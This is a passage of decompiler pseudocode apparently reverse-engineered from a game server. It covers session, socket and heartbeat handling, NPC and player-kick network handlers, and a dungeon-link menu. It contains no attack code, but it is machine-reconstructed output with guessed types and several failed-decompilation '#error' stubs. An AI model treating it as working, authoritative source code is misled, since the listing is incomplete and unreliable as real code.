unsigned int i; // ebx@4 void *v6; // eax@5 Name8 v7; // [sp-20h] [bp-60h]@16 FunctionEntarance _; // [sp+10h] [bp-30h]@1 char v9[4]; // [sp+14h] [bp-2Ch]@6 int v10; // [sp+18h] [bp-28h]@6 int v11; // [sp+1Ch] [bp-24h]@6 int v12; // [sp+20h] [bp-20h]@6 int v13; // [sp+24h] [bp-1Ch]@6 int v14; // [sp+28h] [bp-18h]@6 int v15; // [sp+2Ch] [bp-14h]@6 int v16; // [sp+30h] [bp-10h]@6 int v17; // [sp+3Ch] [bp-4h]@1 _.fe_FunctionCode = "wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = &netcmd[1]; v17 = 0; if ( gNpcSchedule.m_pHead ) v4 = gNpcSchedule.m_pHead->nNumOfRecord; else v4 = 0; for ( i = 0; i < v4; ++i ) { v6 = CDataReader::GetRecord(&gNpcSchedule, i); if ( !v6 ) break; v16 = 0; v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)v9 = 0; strncpy(v9, (const char *)v6, 0x20u); if ( *(_DWORD *)v3 == *(_DWORD *)v9 && *(_DWORD *)&netcmd[3].protocol == v10 && *(_DWORD *)&netcmd[5].protocol == v11 && *(_DWORD *)&netcmd[7].protocol == v12 && *(_DWORD *)&netcmd[9].protocol == v13 && *(_DWORD *)&netcmd[11].protocol == v14 && *(_DWORD *)&netcmd[13].protocol == v15 && *(_DWORD *)&netcmd[15].protocol == v16 ) { memcpy(&v7, v3, sizeof(v7)); NPCManager::nm_MarkingNPC(&npcmanager, v7); break; } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD"); } //----- (005716F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { const void *v3; // esi@1 unsigned int v4; // ebp@2 unsigned int i; // ebx@4 void *v6; // eax@5 Name8 v7; // [sp-20h] [bp-60h]@16 FunctionEntarance _; // [sp+10h] [bp-30h]@1 char v9[4]; // [sp+14h] [bp-2Ch]@6 int v10; // [sp+18h] [bp-28h]@6 int v11; // [sp+1Ch] [bp-24h]@6 int v12; // [sp+20h] [bp-20h]@6 int v13; // [sp+24h] [bp-1Ch]@6 int v14; // [sp+28h] [bp-18h]@6 int v15; // [sp+2Ch] [bp-14h]@6 int v16; // [sp+30h] [bp-10h]@6 int v17; // [sp+3Ch] [bp-4h]@1 _.fe_FunctionCode = "wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = &netcmd[1]; v17 = 0; if ( gNpcSchedule.m_pHead ) v4 = gNpcSchedule.m_pHead->nNumOfRecord; else v4 = 0; for ( i = 0; i < v4; ++i ) { v6 = CDataReader::GetRecord(&gNpcSchedule, i); if ( !v6 ) break; v16 = 0; v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)v9 = 0; strncpy(v9, (const char *)v6, 0x20u); if ( *(_DWORD *)v3 == *(_DWORD *)v9 && *(_DWORD *)&netcmd[3].protocol == v10 && *(_DWORD *)&netcmd[5].protocol == v11 && *(_DWORD *)&netcmd[7].protocol == v12 && *(_DWORD *)&netcmd[9].protocol == v13 && *(_DWORD *)&netcmd[11].protocol == v14 && *(_DWORD *)&netcmd[13].protocol == v15 && *(_DWORD *)&netcmd[15].protocol == v16 ) { memcpy(&v7, v3, sizeof(v7)); NPCManager::nm_UnmarkNPC(&npcmanager, v7); break; } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD"); } //----- (00571850) -------------------------------------------------------- #error "571850: undefined or illegal type '#593' (funcsize=44)" //----- (00571920) -------------------------------------------------------- #error "571920: undefined or illegal type '#593' (funcsize=44)" //----- (005719F0) -------------------------------------------------------- #error "5719F0: undefined or illegal type '#593' (funcsize=44)" //----- (00571AC0) -------------------------------------------------------- #error "571AC0: undefined or illegal type '#593' (funcsize=44)" //----- (00571B90) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); } //----- (00571C30) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); } //----- (00571CD0) -------------------------------------------------------- #error "571CD0: undefined or illegal type '#593' (funcsize=133)" //----- (00571ED0) -------------------------------------------------------- #error "571ED0: undefined or illegal type '#734' (funcsize=98)" //----- (00572020) -------------------------------------------------------- #error "572020: undefined or illegal type '#593' (funcsize=162)" //----- (00572230) -------------------------------------------------------- void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CPacket::_CPacket(&this->m_Packet); CSocket_IOCP::_CSocket_IOCP(&v1->m_SocketIOCP); } // 6799F4: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); //----- (00572290) -------------------------------------------------------- int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this) { CSocket_IOCP *v1; // esi@1 v1 = &this->m_SocketIOCP; CSocket_IOCP::Shutdown(&this->m_SocketIOCP); return CSocket_IOCP::Close(v1); } //----- (005722B0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize) { return CSocket_IOCP::Send(&this->m_SocketIOCP, pData, nSize); } //----- (005722C0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 CPacket *v2; // edi@1 void *v3; // ebx@1 int v4; // eax@1 int dwReadBytes; // [sp+0h] [bp-4h]@1 dwReadBytes = (int)this; v1 = this; v2 = &this->m_Packet; v3 = CPacket::GetWriteDataPtr(&this->m_Packet); v4 = CPacket::GetWriteableBufferSize(v2); return CSocket_IOCP::Receive(&v1->m_SocketIOCP, v3, v4, (unsigned int *)&dwReadBytes); } //----- (005722F0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP) { ZoneBaseSession *v2; // esi@1 int v3; // eax@3 const char *v5; // [sp-10h] [bp-9Ch]@2 char Msg[128]; // [sp+8h] [bp-84h]@1 unsigned int v7; // [sp+88h] [bp-4h]@1 v2 = this; v7 = (unsigned int)Msg ^ __security_cookie; if ( !CIOCP::Register(pIOCP, (void *)this->m_SocketIOCP.m_Socket, this->m_SocketIOCP.m_Socket) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #1, %s"; LABEL_5: sprintf(Msg, v5); _DebugMessageNew(1, "Msg", "%s"); return 0; } v3 = CPacket::GetWriteableBufferSize(&v2->m_Packet); if ( !CSocket_IOCP::Receive(&v2->m_SocketIOCP, v2->m_Packet.m_pPacketBuffer, v3, 0) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #2, %s"; goto LABEL_5; } return 1; } //----- (005723B0) -------------------------------------------------------- int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval) { ZoneBaseSession *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@4 unsigned int v5; // ecx@5 v2 = this; if ( !this->m_Status ) return 1; v3 = CGTimer::GetTime(); if ( v3 - v2->m_LastReceiveTime < 0x7530 ) { v2->m_LastHeartBeatSendTime = 0; return 1; } v5 = v2->m_LastHeartBeatSendTime; if ( v5 ) { result = v3 - v5 < 0x2BF20; } else { v2->m_LastHeartBeatSendTime = v3; result = CSocket_IOCP::Send(&v2->m_SocketIOCP, &req, 3u); } return result; } //----- (00572420) -------------------------------------------------------- int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { void *v3; // esi@1 CIOCP::IOCP_WORK_TYPE v4; // eax@2 int v5; // eax@3 unsigned int v7; // ecx@9 unsigned int v8; // eax@9 bool v9; // zf@9 v3 = pOverlapped->pData; if ( *((_DWORD *)v3 + 1) == 3 ) return 0; v4 = pOverlapped->Type; if ( v4 ) { v5 = v4 - 1; if ( !v5 ) { *((_DWORD *)v3 + 10) = CGTimer::GetTime(); CSocket_IOCP::WriteCallback((CSocket_IOCP *)((char *)v3 + 44), NumOfBytes); return 1; } if ( v5 == 1 ) { LABEL_5: *((_DWORD *)v3 + 1) = 3; return 0; } } else { *((_DWORD *)v3 + 9) = CGTimer::GetTime(); if ( !NumOfBytes ) goto LABEL_5; v7 = NumOfBytes + *((_DWORD *)v3 + 61); v8 = *((_DWORD *)v3 + 58) - v7; v9 = *((_DWORD *)v3 + 58) == v7; *((_DWORD *)v3 + 61) = v7; if ( !((v8 & 0x80000000u) != 0 | v9) ) CSocket_IOCP::Receive((CSocket_IOCP *)((char *)v3 + 44), (void *)(v7 + *((_DWORD *)v3 + 57)), v8, 0); } return 1; } //----- (005724B0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP) { ZoneBaseSession *v4; // edi@1 CSocket_IOCP *v5; // esi@1 v4 = this; v5 = &this->m_SocketIOCP; CSocket_IOCP::Shutdown(&this->m_SocketIOCP); CSocket_IOCP::Close(v5); v4->m_Packet.vfptr->Clear(&v4->m_Packet); return CSocket_IOCP::Connect(v5, pIPAddress, PortNo) && (!pIOCP || ZoneBaseSession::Socket_Register_To_IOCP(v4, pIOCP)); } //----- (00572510) -------------------------------------------------------- void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 unsigned int v2; // eax@1 CIOCP_Process *v3; // ecx@1 CIOCP_Process *v4; // edx@1 CIOCP_Process *v5; // eax@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CSocket_IOCP::CSocket_IOCP(&this->m_SocketIOCP); CPacket::CPacket(&v1->m_Packet); v1->m_IOCP_Process.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&IOCPProcessSession::_vftable_; v1->m_Connected_Server_ID = 10; v1->m_Connected_World = 0; v1->m_Connected_Zone = 0; v1->m_Status = 0; GetLocalTime(&v1->m_Connected_Time); v1->m_LastReceiveTime = CGTimer::GetTime(); v2 = CGTimer::GetTime(); v3 = v1->m_SocketIOCP.m_Overlapped_Write.pIOCP_Process; v1->m_LastSendTime = v2; v1->m_LastHeartBeatSendTime = 0; v3->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v4 = v1->m_SocketIOCP.m_Overlapped_Read.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Write.pData = v1; v4->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v5 = v1->m_SocketIOCP.m_Overlapped_Close.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Read.pData = v1; v5->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v1->m_SocketIOCP.m_Overlapped_Close.pData = v1; } // 6799F4: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); // 679A58: using guessed type int (__stdcall *IOCPProcessSession___vftable_)(int pOverlapped, int NumOfBytes); //----- (005725D0) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this) { this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; this->m_pSessionListArray = 0; this->m_MaxSessions = 0; this->m_NumSessions = 0; this->m_pActiveSessions = 0; this->m_pEmptySessions = 0; } // 679A60: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (005725F0) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 v1 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } //----- (00572620) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edi@2 v2 = this->m_pActiveSessions; if ( v2 ) { do { v3 = v2->pLinkDown; if ( !(**(int (__stdcall ***)(_DWORD))v2->pSession)(30) ) CSocket_IOCP::CloseUseIOCP(&v2->pSession->m_SocketIOCP, pIOCP); v2 = v3; } while ( v3 ); } } //----- (00572660) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pSessionListArray; this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } // 679A60: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00572690) -------------------------------------------------------- int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions) { ZoneBaseSessionManager *v2; // esi@1 void *v3; // eax@4 int v4; // ecx@4 int v5; // eax@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v6; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v7; // edx@8 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v8; // eax@12 v2 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v2->m_pSessionListArray = 0; v2->m_pActiveSessions = 0; v2->m_pEmptySessions = 0; } if ( MaxSessions >= 1 ) { v3 = operator new__(12 * MaxSessions); v4 = 0; for ( v2->m_pSessionListArray = (ZoneBaseSessionManager::LOGIN_SESSION_LIST *)v3; v4 < MaxSessions; ++v4 ) { v5 = v4; v2->m_pSessionListArray[v4].pSession = 0; v6 = v2->m_pSessionListArray; if ( v4 ) v6[v5].pLinkUp = &v6[v5 - 1]; else v6->pLinkUp = 0; v7 = v2->m_pSessionListArray; if ( v4 == MaxSessions - 1 ) v7[v5].pLinkDown = 0; else v7[v5].pLinkDown = &v7[v5 + 1]; } v8 = v2->m_pSessionListArray; v2->m_MaxSessions = MaxSessions; v2->m_NumSessions = 0; v2->m_pEmptySessions = v8; v2->m_pActiveSessions = 0; } return 1; } //----- (00572730) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // ecx@6 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // ecx@8 v2 = this; if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pEmptySessions = pSessionList->pLinkDown; v3 = pSessionList->pLinkDown; if ( v3 ) v3->pLinkUp = pSessionList->pLinkUp; pSessionList->pLinkUp = 0; pSessionList->pLinkDown = v2->m_pActiveSessions; v4 = v2->m_pActiveSessions; if ( v4 ) v4->pLinkUp = pSessionList; v2->m_pActiveSessions = pSessionList; ++v2->m_NumSessions; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); ++v2->m_NumSessions; } } //----- (005727B0) -------------------------------------------------------- ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneBaseSessionManager *v3; // edi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // esi@2 int v5; // edx@3 ZoneBaseSessionManager::LOGIN_SESSION_LIST *result; // eax@3 v3 = this; if ( this->m_MaxSessions > this->m_NumSessions && (v4 = this->m_pEmptySessions) != 0 ) { v4->pSession->m_Packet.vfptr->Clear(&v4->pSession->m_Packet); v4->pSession->m_SocketIOCP.m_Socket = SocketAccept; v5 = (int)&v4->pSession->m_SocketIOCP.m_SocketAddr; *(_DWORD *)v5 = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)(v5 + 4) = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)(v5 + 8) = *(_DWORD *)&pAddr->sa_data[6]; *(_DWORD *)(v5 + 12) = *(_DWORD *)&pAddr->sa_data[10]; v4->pSession->m_Status = 2; ZoneBaseSessionManager::EmptyToActive(v3, v4); result = v4; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); result = 0; } return result; } //----- (00572840) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edx@7 if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pActiveSessions = pSessionList->pLinkDown; v2 = pSessionList->pLinkDown; if ( v2 ) v2->pLinkUp = pSessionList->pLinkUp; } pSessionList->pLinkUp = 0; pSessionList->pLinkDown = this->m_pEmptySessions; v3 = this->m_pEmptySessions; if ( v3 ) v3->pLinkUp = pSessionList; this->m_pEmptySessions = pSessionList; --this->m_NumSessions; } //----- (00572890) -------------------------------------------------------- void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this) { ZoneConnectSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 679ADC: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (005728C0) -------------------------------------------------------- void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 679ADC: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (005728D0) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayer::_vftable_; } // 679AF4: using guessed type int (__stdcall *ZoneRingPacketFindPlayer___vftable_[14])(int, int netcmd); //----- (005728E0) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketBase::_vftable_; } // 679AE8: using guessed type int (*ZoneRingPacketBase___vftable_[2])(); //----- (005728F0) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayerByNormalUser::_vftable_; } // 679B00: using guessed type int (__stdcall *ZoneRingPacketFindPlayerByNormalUser___vftable_[11])(int, int netcmd); //----- (00572900) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPlayer::_vftable_; } // 679B0C: using guessed type int (__stdcall *ZoneRingPacketSummonPlayer___vftable_[8])(int, int netcmd); //----- (00572910) -------------------------------------------------------- void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketKickPlayerOut::_vftable_; } // 679B18: using guessed type int (__stdcall *ZoneRingPacketKickPlayerOut___vftable_[5])(int, int netcmd); //----- (00572920) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketItemBonus::_vftable_; } // 679B24: using guessed type int (__stdcall *ZoneRingPacketItemBonus___vftable_[2])(int, int netcmd); //----- (00572930) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketExpBonus::_vftable_; } // 679B30: using guessed type int (__stdcall *ZoneRingPacketExpBonus___vftable_[2])(int, int netcmd); //----- (00572940) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPartner::_vftable_; } // 679B3C: using guessed type int (__stdcall *ZoneRingPacketSummonPartner___vftable_[3])(int, int netcmd); //----- (00572950) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketRefreshWeddingInfo::_vftable_; } // 679B48: using guessed type int (__stdcall *ZoneRingPacketRefreshWeddingInfo___vftable_[3])(int iti, char nEndureGrade); //----- (00572960) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketEmtpyInstanceDungeon::_vftable_; } // 679B54: using guessed type int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon___vftable_[2])(int, int netcmd); //----- (00572970) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #593 *a2, NETCOMMAND *netcmd) { signed int i; // edi@1 OptionReader *v4; // eax@2 void *v5; // eax@2 unsigned __int16 v6; // ax@9 MapInfo *v7; // eax@9 int v8; // eax@10 const char *v9; // eax@12 int v10; // edx@12 const char *v11; // ST18_4@12 CharModeClassifier v12; // ST10_2@12 const char *v13; // ST08_4@12 void *v14; // eax@12 void *v15; // eax@12 void *v16; // eax@12 ServerMenuArgument *v17; // [sp-18h] [bp-190h]@2 int v18; // [sp-14h] [bp-18Ch]@2 int v19; // [sp-10h] [bp-188h]@2 signed int v20; // [sp-Ch] [bp-184h]@2 int v21; // [sp-8h] [bp-180h]@2 signed int v22; // [sp-4h] [bp-17Ch]@2 int v23; // [sp+Ch] [bp-16Ch]@1 void *v24; // [sp+10h] [bp-168h]@1 int v25; // [sp+14h] [bp-164h]@12 int smayes; // [sp+18h] [bp-160h]@12 char buf; // [sp+1Ch] [bp-15Ch]@12 char v28; // [sp+30h] [bp-148h]@12 int v29; // [sp+34h] [bp-144h]@12 ServerMenuArgument smano; // [sp+80h] [bp-F8h]@12 char titlebuf[128]; // [sp+E8h] [bp-90h]@12 unsigned int v32; // [sp+168h] [bp-10h]@1 int v33; // [sp+174h] [bp-4h]@2 v32 = (unsigned int)&v23 ^ __security_cookie; v24 = (void *)a2; for ( i = 0; ; ++i ) { v22 = i; v23 = (int)&v17; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; strncpy((char *)&v17, "LinkTable", 0x14u); v33 = 0; v4 = NPCManager::operator_>(&npcmanager); v33 = -1; v5 = OptionReader::or_SelectFromOrder(v4, *(ORToken *)&v17, v22); if ( !v5 ) break; if ( *(_DWORD *)v5 == *(_DWORD *)((char *)&netcmd[8].protocol + 1) && *((_DWORD *)v5 + 1) == *(_DWORD *)((char *)&netcmd[10].protocol + 1) && *((_DWORD *)v5 + 2) == *(_DWORD *)((char *)&netcmd[12].protocol + 1) && *((_DWORD *)v5 + 3) == *(_DWORD *)((char *)&netcmd[14].protocol + 1) && *((_DWORD *)v5 + 4) == *(_DWORD *)((char *)&netcmd[16].protocol + 1) ) { v6 = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)v5 + 53); v7 = MapDataBox::operator__(&mapdatabox, v6); if ( v7 ) v8 = (int)v7->Name; else v8 = (int)byte_635E1E; v22 = v8; v9 = ShineScript::ss_String(&shinescriptmenusting, "LinkTitle"); sprintf(titlebuf, v9); smayes = *(_DWORD *)((char *)&netcmd[6].protocol + 1); ORToken::ort_GetString((ORToken *)((char *)&netcmd[8].protocol + 1), &buf); v10 = *(_DWORD *)((char *)&netcmd[4].protocol + 1); v22 = 1000; v21 = 0; v20 = 65535; v19 = 0; LOWORD(v25) = 78; LOWORD(v23) = 78; v18 = v25; v17 = &smano; v28 = 0; v29 = v10; v11 = ShineScript::ss_String(&shinescriptetc, "No"); v12.cmc_AllowMode = v23; v13 = ShineScript::ss_String(&shinescriptetc, "Yes"); v14 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(v24, titlebuf); v15 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v14, ServerMenuFuncter::smfm_LinkToDungeon, v13, (ServerMenuArgument *)&smayes, v12); v16 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v15, ServerMenuFuncter::smfm_Cancel, v11, v17, (CharModeClassifier)v18); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v16, v19, v20, v21, v22); break; } } __security_check_cookie((unsigned int)&v23 ^ v32); } //----- (00572B40) -------------------------------------------------------- void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneConnectSession::zcs_Send"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( stru_131DB554.m_Socket == -1 ) { unk_131DB52C = 0; ZoneServer::zs_ServerConnect2Zone(&zoneserver, &zoneconnect.baseclass_0); if ( !unk_131DB52C ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); return; } unk_131DB54C = CGTimer::GetTime(); } if ( ProtocolPacket::pp_SetPacketLen(pp, len) ) ProtocolPacket::pp_SendPacket(pp, &zoneconnect.baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zcs_Send : Packet Too Long", len); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); } //----- (00572C60) -------------------------------------------------------- #error 